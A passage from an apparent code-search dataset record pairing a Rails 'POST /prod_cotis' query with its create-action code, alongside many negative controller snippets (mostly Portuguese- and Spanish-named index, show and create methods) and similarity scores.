ProductCompanyPrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_company_price }\n end\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def create\n @prod_coti = ProdCoti.new(prod_coti_params)\n\n respond_to do |format|\n if @prod_coti.save\n format.html { redirect_to @prod_coti, notice: 'Prod coti was successfully created.' }\n format.json { render :show, status: :created, location: @prod_coti }\n else\n format.html { render :new }\n format.json { render json: @prod_coti.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @complaint = Complaint.find(params[:id])\n\n render json: @complaint\n end", "def index\n @cryptostables = Cryptostable.all\n\n require 'uri'\n require 'net/http'\n require 'openssl'\n\n @url = \"https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest?CMC_PRO_API_KEY=#{ENV.fetch('CRYPTO')}&start=1&limit=500\"\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_cryptos = JSON.parse(@response)\n @profit_loss = 0\n end", "def show\n @cocktail = Cocktail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @cocktail }\n end\n end", "def show\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clonet }\n end\n end", "def show\n @cartum = Cartum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cartum }\n end\n end", "def consulta_prod\n @product = Product.select('codigo_ncm,cest').where(name: params[:name]).first\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n #------------DEU CERTO GLORIA Á DEUS!!!-----------------------------------------------\n end", "def show\n @carts_product = @cart.carts_products.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carts_product }\n end\n end", "def index\n @cotiz_clo_muls = CotizCloMul.all\n end", "def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end", "def index\n if params[:product_id]\n @promotions = Product.find(params[:product_id]).promotions\n else\n @promotions = Promotion.all\n end\n\n render json: @promotions\n end", "def show\n @product_cost = ProductCost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product_cost }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_development_costs }\n end\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def index\n @contato_produtos = ContatoProduto.all.sort! { |a,b| b.id <=> a.id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contato_produtos }\n end\n end", "def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end", "def index\n @costtypes = Costtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @costtypes }\n end\n end", "def index\n render json: { size: I18n.t(@order.pizza_in_progress.size || '?') , costs: con2curr( @order.pizza_in_progress.total ), items: reduced_pizza_items }.to_json, status: :ok\n end", "def index\n @products = current_company.products.order('created_at desc').page(params[:page]).per(20)\n render json: @products, meta: {total_pages: @products.total_pages, total_count: @products.total_count}\n end", "def index\n @car = Car.find(params[:car_id])\n @lien_procedures = @car.lien_procedures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lien_procedures }\n end\n end", "def listCon\n @opportunities = Opportunity.where(\"status = ?\", \"Publish\")\n render json: @opportunities\n end", "def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end", "def index\n @cvis = Cvi.all(:order => \"cvi_number DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cvis }\n end\n end", "def index\n @cartridges = Cartridge.all\n\n respond_to do |format|\n format.html\n format.json { render json: @cartridges }\n end\n end", "def show\n @co_size = CoSize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @co_size }\n end\n end", "def index\n @cn_curves = CnCurve.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cn_curves }\n end\n end", "def index\n @congressos = Congresso.all\n end", "def index\n @contracts = Contract\n .where(customer_id: @customer.id)\n .order(:created_at)\n .page params[:page]\n\n respond_to do |format|\n format.html {}\n format.js { render json: @contracts.to_json }\n format.json { render json: @contracts.to_json }\n end\n\n end", "def getJson(url)\n\t\tencoded_url = URI.encode(\"https://cryptic-mountain-56365.herokuapp.com/api/v1\"+url)\n\t\turi = URI.parse(encoded_url)\n\t\tjson = Net::HTTP.get(uri)\n\tend", "def index\n if params[:categoria_producto]\n render json: Producto.find(params[:producto_id]).categorias\n else\n\t\t @categorias = Categoria.all\n render json: @categorias\n end\n\tend", "def show\n @comic_page = ComicPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic_page }\n end\n end", "def index\n @proyects = Proyect.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proyects }\n end\n end", "def index\n @contract_products = @contract.contract_products.page(params[:page]).order(\"no\")\n end", "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end", "def show\n @grocery = Grocery.find(params[:id])\n\n render json: @grocery\n end", "def index\n # Retrieve kpis templates from impac api.\n # TODO: improve request params to work for strong parameters\n attrs = params.slice('metadata', 'opts')\n auth = { username: MnoEnterprise.tenant_id, password: MnoEnterprise.tenant_key }\n\n response = begin\n MnoEnterprise::ImpacClient.send_get('/api/v2/kpis', attrs, basic_auth: auth)\n rescue => e\n return render json: { message: \"Unable to retrieve kpis from Impac API | Error #{e}\" }\n end\n\n # customise available kpis\n kpis = (response['kpis'] || []).map do |kpi|\n kpi = kpi.with_indifferent_access\n kpi[:watchables].map do |watchable|\n kpi.merge(\n name: \"#{kpi[:name]} #{watchable.capitalize unless kpi[:name].downcase.index(watchable)}\".strip,\n watchables: [watchable],\n target_placeholders: {watchable => kpi[:target_placeholders][watchable]},\n )\n end\n end\n .flatten\n\n render json: { kpis: kpis }\n end", "def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end", "def show\n @ci = Ci.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ci }\n end\n end", "def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end", "def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end", "def search\n stuff = params[:q]\n ntee_id = params[:ntee_id]\n results = Typhoeus.get(\"https://projects.propublica.org/nonprofits/api/v1/search.json\", :params => {:q => stuff, 'ntee[id]' => ntee_id })\n @nonprofit_result = JSON.parse(results.body)\n end", "def index\n @coupons = Coupon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coupons }\n end\n end", "def show\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @consumo }\n end\n end", "def activos\n render :json => Producto.activo.all\n end", "def index\n @product_cats = ProductCat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_cats }\n end\n end", "def index\n render :json => Producto.all\n end", "def show\n @cuerpo = Cuerpo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuerpo }\n end\n end", "def index\n require 'rest-client'\n response = RestClient::Request.execute(method: :get, url: 'localhost:3001/colores',\n headers: {page: params[:page], items: 9})\n if response.code == 200\n body = JSON.parse(response.body)\n @colors = body[\"data\"]\n @page = body[\"page\"]\n end\n end", "def show\n\n require 'bigcommerce'\n @bigcommerce = current_user.account.bigcommerce_account\n begin\n api = Bigcommerce::Api.new({\n :store_url => @bigcommerce.store_url,\n :username => @bigcommerce.username,\n :api_key => @bigcommerce.api_key\n })\n rescue Exception => e\n redirect_to edit_bigcommerce_account_path(current_user.account.bigcommerce_account), :alert => \"API settings you have provided aren't working. Please check them.\" and return false\n end\n\n BigcommerceAccount.delay.download_data(@bigcommerce)\n\n #@test = api.get_product_images(1)\n\n redirect_to edit_user_registration_path(), :notice => \"Bigcommerce data is scheduled to be downloaded\" and return true\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bigcommerce }\n end\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def index\n render json: { carts: current_user.carts.select(:id, :product_id, :quantity).to_json }\n end", "def show\n render json: @pricing\n end", "def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end", "def index\n @cotacts = Cotact.all\n end", "def show\n @cartucho = Cartucho.find(params[:id])\n @historials [email protected]\n @historial = Historial.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cartucho }\n end\n end", "def index\n @shopping_carts = ShoppingCart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shopping_carts }\n end\n end", "def view_cart\n render json: products_in_cart(false)\n end", "def index\n if params[:propietario]\n @usuario = Usuario.find(params[:usuario_id])\n authorize! :show, @usuario\n @negocios_propios = Usuario.find(params[:usuario_id]).negocios_propios\n render json: @negocios_propios,\n root: 'negocios_propios',\n each_serializer: NegocioPropioSerializer\n else\n @negocios = Negocio.all\n render json: @negocios\n end\n end", "def show\n render json: @competitor_price\n end", "def show\n @centro_custo = CentroCusto.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @centro_custo }\n format.js\n end\n end", "def index\n @api_v1_products = Product.all\n json_response(@api_v1_products)\n end", "def commission\n get 'commission'\n end" ]
[ "0.6832624", "0.60913813", "0.6085554", "0.60687006", "0.60392344", "0.60319906", "0.59790313", "0.59718484", "0.59237355", "0.5909952", "0.5906853", "0.5890505", "0.5866546", "0.58344215", "0.58336973", "0.58090293", "0.58087796", "0.5798929", "0.57960373", "0.5789576", "0.5777123", "0.57767314", "0.5771983", "0.5767616", "0.5767616", "0.575839", "0.5757174", "0.57527703", "0.5748768", "0.5734923", "0.57240427", "0.5721683", "0.5709958", "0.5709476", "0.5698525", "0.5698482", "0.5685005", "0.5674794", "0.56694955", "0.56628954", "0.5659828", "0.56534714", "0.56529146", "0.56478286", "0.5644989", "0.56399417", "0.56385195", "0.5627726", "0.5613931", "0.56103444", "0.5607551", "0.55982614", "0.5597197", "0.5595259", "0.5590578", "0.5589657", "0.5586003", "0.558289", "0.55813485", "0.5579621", "0.5579388", "0.5576194", "0.55756915", "0.55711514", "0.5562485", "0.55622905", "0.5555158", "0.55481845", "0.5539992", "0.5537458", "0.55345553", "0.5534283", "0.5533776", "0.5531577", "0.5529508", "0.5523362", "0.5523216", "0.5518573", "0.55181277", "0.5516581", "0.5516531", "0.5514246", "0.5510125", "0.5509171", "0.5507193", "0.5501953", "0.5497646", "0.54967296", "0.5496723", "0.5494221", "0.5492876", "0.54901236", "0.5489359", "0.5483386", "0.54822576", "0.5481822", "0.54800093", "0.5479906", "0.5479134", "0.5475054", "0.547469" ]
0.0
-1
POST /prod_cotis POST /prod_cotis.json
def create @prod_coti = ProdCoti.new(prod_coti_params) respond_to do |format| if @prod_coti.save format.html { redirect_to @prod_coti, notice: 'Prod coti was successfully created.' } format.json { render :show, status: :created, location: @prod_coti } else format.html { render :new } format.json { render json: @prod_coti.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def prod_coti_params\n params.require(:prod_coti).permit(:cod_cotiza, :cod_producto)\n end", "def create\n @service_order = ServiceOrder.new(service_order_params)\n @products = params[:inputprod]\n @quantity = params[:inputcantidad]\n #@cita_id = Citation.where(:id => params[:citation_id])\n \n respond_to do |format|\n if @service_order.save\n cont =0\n @products.each do |p|\n detalle = ServiceOrderDetail.new(product_id: p, quantity: @quantity[cont], service_order_id:@service_order.id)\n detalle.save\n cont +=1\n end\n \n format.html { redirect_to @service_order, notice: 'Service order was successfully created.' }\n format.json { render :show, status: :created, location: @service_order }\n else\n format.html { render :new }\n format.json { render json: @service_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cotiz_clo_mul = CotizCloMul.new(cotiz_clo_mul_params)\n\n respond_to do |format|\n if @cotiz_clo_mul.save\n GeneradorCorreoMailer.confirmarCotizCloMul(@cotiz_clo_mul).deliver_now\n format.html { redirect_to @cotiz_clo_mul, notice: 'Cotiz clo mul was successfully created.' }\n format.json { render :show, status: :created, location: @cotiz_clo_mul }\n else\n format.html { render :new }\n format.json { render json: @cotiz_clo_mul.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @copon = Copon.new(copon_params)\n get_product(@copon, params.require(:copon)[:product])\n set_associative_criteria @copon, params.require(:copon)\n\n respond_to do |format|\n if @copon.save\n format.html { redirect_to @copon, notice: 'Copon was successfully created.' }\n format.json { render :show, status: :created, location: @copon }\n else\n format.html { render :new }\n format.json { render json: @copon.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cotizacione = Cotizacione.new(cotizacione_params)\n\n respond_to do |format|\n if @cotizacione.save\n format.html { redirect_to @cotizacione, notice: 'Cotizacione was successfully created.' }\n format.json { render :show, status: :created, location: @cotizacione }\n else\n format.html { render :new }\n format.json { render json: @cotizacione.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @troca_produto = TrocaProduto.new(troca_produto_params)\n\n respond_to do |format|\n if @troca_produto.save\n format.html { redirect_to @troca_produto, notice: \"Troca produto was successfully created.\" }\n format.json { render :show, status: :created, location: @troca_produto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @troca_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n product_name = competitor_params[:title]\n honestbee_datas = get_honestbee_data (product_name)\n predict_catalog = get_predict_catalog ( product_name )\n save_data_in_postgres (predict_catalog)\n render :json => honestbee_datas\n end", "def create\n @produto = Produto.new(params[:produto])\n @produto.empresa = session[:usuario].empresa\n \n params[:produto][:preco_compra] = converte_valor_banco params[:produto][:preco_compra]\n params[:produto][:preco_venda] = converte_valor_banco params[:produto][:preco_venda]\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render json: @produto, status: :created, location: @produto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @intranet_financeiro_tipos_cobanca = Intranet::FinanceiroTiposCobanca.new(intranet_financeiro_tipos_cobanca_params)\n\n respond_to do |format|\n if @intranet_financeiro_tipos_cobanca.save\n format.html { redirect_to @intranet_financeiro_tipos_cobanca, notice: \"Financeiro tipos cobanca was successfully created.\" }\n format.json { render :show, status: :created, location: @intranet_financeiro_tipos_cobanca }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @intranet_financeiro_tipos_cobanca.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @productonegocio = Productonegocio.new(params[:productonegocio])\n\n respond_to do |format|\n if @productonegocio.save\n format.html { redirect_to @productonegocio, notice: 'Productonegocio was successfully created.' }\n format.json { render json: @productonegocio, status: :created, location: @productonegocio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @productonegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @congresso = Congresso.new(congresso_params)\n\n respond_to do |format|\n if @congresso.save\n format.html { redirect_to @congresso, notice: 'Congresso was successfully created.' }\n format.json { render :show, status: :created, location: @congresso }\n else\n format.html { render :new }\n format.json { render json: @congresso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @caracteristica_cartum = CaracteristicaCartum.new(params[:caracteristica_cartum])\n\n respond_to do |format|\n if @caracteristica_cartum.save\n format.html { redirect_to @caracteristica_cartum, notice: 'Caracteristica cartum was successfully created.' }\n format.json { render json: @caracteristica_cartum, status: :created, location: @caracteristica_cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @caracteristica_cartum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cotact = Cotact.new(cotact_params)\n\n respond_to do |format|\n if @cotact.save\n format.html { redirect_to @cotact, notice: 'Cotact was successfully created.' }\n format.json { render :show, status: :created, location: @cotact }\n else\n format.html { render :new }\n format.json { render json: @cotact.errors, status: :unprocessable_entity }\n end\n end\n end", "def confirmer_cart\n _user = current_client\n _confirmation = rand(36**10).to_s(36)\n _cart = Commande.new()\n _cart.client_id = _user.id\n if params[:addr_id] != '-1'\n _cart.adresse_id = params[:addr_id]\n else\n _cart.adresse_id = client_adresse.id \n end\n _cart.no_confirmation = _confirmation\n _cart.date_de_commande = params[:date_de_commande]\n _cart.heure_de_commande = params[:heure_de_commande]\n _cart.prix_total = params[:prix_total]\n _cart.status_pret = false\n _cart.save\n render json: _cart\n end", "def create\n @centro_costo = CentroCosto.new(centro_costo_params)\n\n respond_to do |format|\n if @centro_costo.save\n format.html { redirect_to centro_costos_path, notice: 'Centro de Costo creado exitosamente' }\n format.json { render :show, status: :created, location: @centro_costo }\n else\n format.html { render :new }\n format.json { render json: @centro_costo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cooco = Cooco.new(cooco_params)\n\n respond_to do |format|\n if @cooco.save\n format.html { redirect_to @cooco, notice: 'Cooco was successfully created.' }\n format.json { render :show, status: :created, location: @cooco }\n else\n format.html { render :new }\n format.json { render json: @cooco.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @consorciot = Consorciot.new(consorciot_params)\n\n respond_to do |format|\n if @consorciot.save\n format.html { redirect_to @consorciot, notice: 'Consorciot was successfully created.' }\n format.json { render :show, status: :created, location: @consorciot }\n else\n format.html { render :new }\n format.json { render json: @consorciot.errors, status: :unprocessable_entity }\n end\n end\n end", "def postContractCreate( entity_id, user_id, payment_provider, basket, billing_period, source, channel, campaign, referrer_domain, referrer_name, flatpack_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n params['payment_provider'] = payment_provider\n params['basket'] = basket\n params['billing_period'] = billing_period\n params['source'] = source\n params['channel'] = channel\n params['campaign'] = campaign\n params['referrer_domain'] = referrer_domain\n params['referrer_name'] = referrer_name\n params['flatpack_id'] = flatpack_id\n return doCurl(\"post\",\"/contract/create\",params)\n end", "def create\n @secco = @curso.seccos.build(secco_params)\n\n respond_to do |format|\n if @secco.save\n format.html { redirect_to curso_secco_path(@curso, @secco), notice: 'Seccao was successfully created.' }\n format.json { render :show, status: :created, location: @secco }\n else\n format.html { render :new }\n format.json { render json: @secco.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_prod_coti\n @prod_coti = ProdCoti.find(params[:id])\n end", "def create\n @ccosto = Ccosto.new(ccosto_params)\n\n respond_to do |format|\n if @ccosto.save\n format.html { redirect_to @ccosto, notice: 'Ccosto was successfully created.' }\n format.json { render :show, status: :created, location: @ccosto }\n else\n format.html { render :new }\n format.json { render json: @ccosto.errors, status: :unprocessable_entity }\n end\n end\n end", "def cotizacione_params\n params.require(:cotizacione).permit(:token, :paqueteria, :producto, :precio)\n end", "def create\n @services = params[:inputserv]#[:inputcantidad]\n @quantity = params[:inputcantidad]\n @citation = Citation.new(citation_params)\n @client = Client.where(:id => @citation.client_id).select(:email)\n @client_name = Client.where(:id => @citation.client_id).select(:name, :firstlastname)\n\n respond_to do |format|\n if @citation.save\n cont = 0\n @services.each do |p|\n detalle = CitationDetail.new(service_id: p, quantity: @quantity[cont], citation_id:@citation.id)\n detalle.save\n cont +=1\n end\n #NotifyMailer.notify_mail(@citation).deliver\n \n format.html { redirect_to @citation, notice: 'Citation was successfully created.' }\n format.json { render :show, status: :created, location: @citation }\n else\n @clients = Client.all.map{|p| [ p.name, p.id ] }\n @services_combo = Service.all.map{|p| [ p.name, p.id ] }\n @citation_details = CitationDetail.where(:service_id => params[:id])\n #@services = params[:inputserv][:inputcantidad]\n format.html { render :new }\n format.json { render json: @citation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @copropietario = Copropietario.new(copropietario_params)\n\n respond_to do |format|\n if @copropietario.save\n format.html { redirect_to @copropietario, notice: 'Copropietario was successfully created.' }\n format.json { render :show, status: :created, location: @copropietario }\n else\n format.html { render :new }\n format.json { render json: @copropietario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prodorcarealizado = Prodorcarealizado.new(prodorcarealizado_params)\n\n respond_to do |format|\n if @prodorcarealizado.save\n format.html { redirect_to @prodorcarealizado, notice: 'Prodorcarealizado was successfully created.' }\n format.json { render :show, status: :created, location: @prodorcarealizado }\n else\n format.html { render :new }\n format.json { render json: @prodorcarealizado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trein_consul_comercial = TreinConsulComercial.new(trein_consul_comercial_params)\n\n respond_to do |format|\n if @trein_consul_comercial.save\n format.html { redirect_to @trein_consul_comercial, notice: 'Trein consul comercial was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trein_consul_comercial }\n else\n format.html { render action: 'new' }\n format.json { render json: @trein_consul_comercial.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prod_servi = ProdServi.new(prod_servi_params)\n\n respond_to do |format|\n if @prod_servi.save\n format.html { redirect_to @prod_servi, notice: 'Prod servi was successfully created.' }\n format.json { render :show, status: :created, location: @prod_servi }\n else\n format.html { render :new }\n format.json { render json: @prod_servi.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @csosn = Csosn.new(params[:csosn])\n\n respond_to do |format|\n if @csosn.save\n format.html { redirect_to @csosn, notice: 'Csosn was successfully created.' }\n format.json { render json: @csosn, status: :created, location: @csosn }\n else\n format.html { render action: \"new\" }\n format.json { render json: @csosn.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n \n @cocktail = Cocktail.new(params[:cocktail])\n @cocktail.prise = 20000\n @cocktail.grade = 0\n @cocktail.oficial = false\n respond_to do |format|\n if @cocktail.save\n format.html { redirect_to @cocktail, :notice => 'Cocktail was successfully created.' }\n format.json { render :json => @cocktail, :status => :created, :location => @cocktail }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @cocktail.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\n @company = Company.find(1)\n\n @cout = Cout.new(cout_params)\n\n\n @cout[:code] = @cout.generate_cout_number\n @puntos = @company.get_puntos()\n @employees = @company.get_employees2() \n @trucks = @company.get_trucks\n\n respond_to do |format|\n if @cout.save\n format.html { redirect_to @cout, notice: 'Cout was successfully created.' }\n format.json { render :show, status: :created, location: @cout }\n else\n format.html { render :new }\n format.json { render json: @cout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cta_cte = CtaCte.new(cta_cte_params)\n\n respond_to do |format|\n if @cta_cte.save\n format.html { redirect_to @cta_cte, notice: 'Se creo correctamente.' }\n format.json { render :show, status: :created, location: @cta_cte }\n else\n format.html { render :new }\n format.json { render json: @cta_cte.errors, status: :unprocessable_entity }\n end\n end\n end", "def postScoot_priority( entity_id, reseller)\n params = Hash.new\n params['entity_id'] = entity_id\n params['reseller'] = reseller\n return doCurl(\"post\",\"/scoot_priority\",params)\n end", "def create\n @coisa = Coisa.new(params[:coisa])\n\n respond_to do |format|\n if @coisa.save\n format.html { redirect_to @coisa, :notice => 'Coisa was successfully created.' }\n format.json { render :json => @coisa, :status => :created, :location => @coisa }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @coisa.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tnpsc = Tnpsc.new(tnpsc_params)\n\n respond_to do |format|\n if @tnpsc.save\n format.html { redirect_to @tnpsc, notice: 'Tnpsc was successfully created.' }\n format.json { render :show, status: :created, location: @tnpsc }\n else\n format.html { render :new }\n format.json { render json: @tnpsc.errors, status: :unprocessable_entity }\n end\n end\n end", "def tecnicos_postulados\n coleccion = []\n self.request.each do |request|\n info = {}\n info[:id] = request.id\n info[:article] = request.article\n info[:servicio] = request.service.description\n info[:tecnicos] = request.proposal\n coleccion.append(info)\n end\n coleccion\n end", "def create\n @citum = Citum.new(citum_params)\n\n respond_to do |format|\n if @citum.save\n format.html { redirect_to @citum, notice: 'Citum was successfully created.' }\n format.json { render :show, status: :created, location: @citum }\n else\n format.html { render :new }\n format.json { render json: @citum.errors, status: :unprocessable_entity }\n end\n end\n end", "def enviar_factura(factura)\n begin\n logger.debug(\"...Iniciar enviar factura\")\n info = InfoGrupo.where('id_grupo = ?',factura['cliente']).first\n url = 'http://integra'+info[:numero].to_s+'.ing.puc.cl/api/facturas/recibir/'+factura['_id'].to_s\n #url = 'http://localhost:3000/api/facturas/recibir/'+factura['_id'].to_s\n request = Typhoeus::Request.new(\n url,\n method: :get,\n headers: { ContentType: \"application/json\"})\n response = request.run \n logger.debug(\"...Fin enviar factura\")\n return {:validado => true, :factura => factura}\n rescue => ex\n Applog.debug(ex.message,'enviar_factura')\n return {:validado => false, :factura => factura}\n end\nend", "def create\n \n @id=session[:test_id]\n @cartella_clinica=CartellaClinica.new(cartella_clinica_params)\n respond_to do |format|\n if @cartella_clinica.save\n CartellaClinica.update(@cartella_clinica.id,:paziente_id =>@id) \n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata creata con successo.' }\n format.json { render :show, status: :created, location: @cartella_clinica }\n else\n format.html { render :new }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tuhu_prodoct = Tuhu::Prodoct.new(tuhu_prodoct_params)\n\n respond_to do |format|\n if @tuhu_prodoct.save\n format.html { redirect_to @tuhu_prodoct, notice: 'Prodoct was successfully created.' }\n format.json { render :show, status: :created, location: @tuhu_prodoct }\n else\n format.html { render :new }\n format.json { render json: @tuhu_prodoct.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cto = Cto.new(cto_params)\n\n respond_to do |format|\n if @cto.save\n format.html { redirect_to @cto, notice: 'Cto was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cto }\n else\n format.html { render action: 'new' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully created.' }\n format.json { render :json => @tecnico, :status => :created, :location => @tecnico }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\n # { clinic: {\"license_id\"=>nil, \"name\"=>string } }\n clinic = @license.clinics.new(params[:clinic])\n clinic.api_license = @api_license\n if clinic.save\n render json: clinic, status: :created\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def create\n\n @empresa = Empresa.find(:first, :conditions => [\"prefijo = ?\", params[:empresa_id]])\n \n @gtin = params[:gtin] if params[:gtin] != ''\n\n\n params[:producto][:gtin] = Producto.crear_gtin(params[:producto][:id_tipo_gtin], params[:empresa_id], params[:gtin], params[:producto][:codigo_prod]) \n params[:producto][:fecha_creacion] = Time.now\n params[:producto][:id_estatus] = 3\n \n # Se asigna el codigo de producto\n\n params[:producto][:codigo_prod] = params[:producto][:gtin][7..11] if params[:producto][:id_tipo_gtin] == '3' and (@empresa.prefijo.to_s.size == 7 or @empresa.prefijo.to_s.size == 5)\n params[:producto][:codigo_prod] = params[:producto][:gtin][9..11] if params[:producto][:id_tipo_gtin] == '3' and @empresa.prefijo.to_s.size == 9 and @empresa.prefijo.to_s[3..5] == \"400\"\n params[:producto][:codigo_prod] = params[:producto][:gtin][3..6] if params[:producto][:id_tipo_gtin] == '1'\n params[:producto][:codigo_prod] = params[:producto][:gtin][9..12] if params[:producto][:id_tipo_gtin] == '4' \n params[:producto][:codigo_prod] = params[:producto][:gtin][8..12] if params[:producto][:id_tipo_gtin] == '5' # GTIN 14 base 12 \n params[:producto][:codigo_prod] = params[:producto][:gtin][8..12] if params[:producto][:id_tipo_gtin] == '6' and (@empresa.prefijo.to_s.size == 7 or @empresa.prefijo.to_s.size == 5)\n params[:producto][:codigo_prod] = params[:producto][:gtin][10..12] if params[:producto][:id_tipo_gtin] == '6' and @empresa.prefijo.to_s.size == 9 and @empresa.prefijo.to_s[3..5] == \"400\"\n\n params[:producto][:prefijo] = params[:empresa_id]\n\n @producto = Producto.new(params[:producto])\n\n respond_to do |format|\n if @producto.save\n\n Auditoria.registrar_evento(session[:usuario],\"producto\", \"Crear\", Time.now, \"GTIN:#{@producto.gtin} DESCRIPCION:#{@producto.descripcion} TIPO GTIN:#{@producto.tipo_gtin.tipo}\")\n format.html { redirect_to empresa_productos_path, notice: \"EL #{@producto.tipo_gtin.tipo} #{@producto.gtin} fue creado correctamente.\" } \n\n else\n format.html { \n render action: \"new\" } \n end\n end\n end", "def create\n @stoc = Stoc.new(stoc_params)\n\n respond_to do |format|\n if @stoc.save\n format.html { redirect_to @stoc, notice: 'Stoc was successfully created.' }\n format.json { render :show, status: :created, location: @stoc }\n else\n format.html { render :new }\n format.json { render json: @stoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cso = Cso.new(params[:cso])\n\n respond_to do |format|\n if @cso.save\n format.html { redirect_to @cso, notice: 'Cso was successfully created.' }\n format.json { render json: @cso, status: :created, location: @cso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contato_produto = ContatoProduto.new(params[:contato_produto])\n# @produto_id = Produto.find(params[:produto_id])\n# @contato_produto.produto_id = params[:produto_id]\n\n respond_to do |format|\n if @contato_produto.save\n format.html { redirect_to [:admin, @contato_produto], notice: 'Contato produto was successfully created.' }\n format.json { render json: @contato_produto, status: :created, location: @contato_produto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contato_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @prod_cotis = ProdCoti.all\n end", "def create\n\t\t# 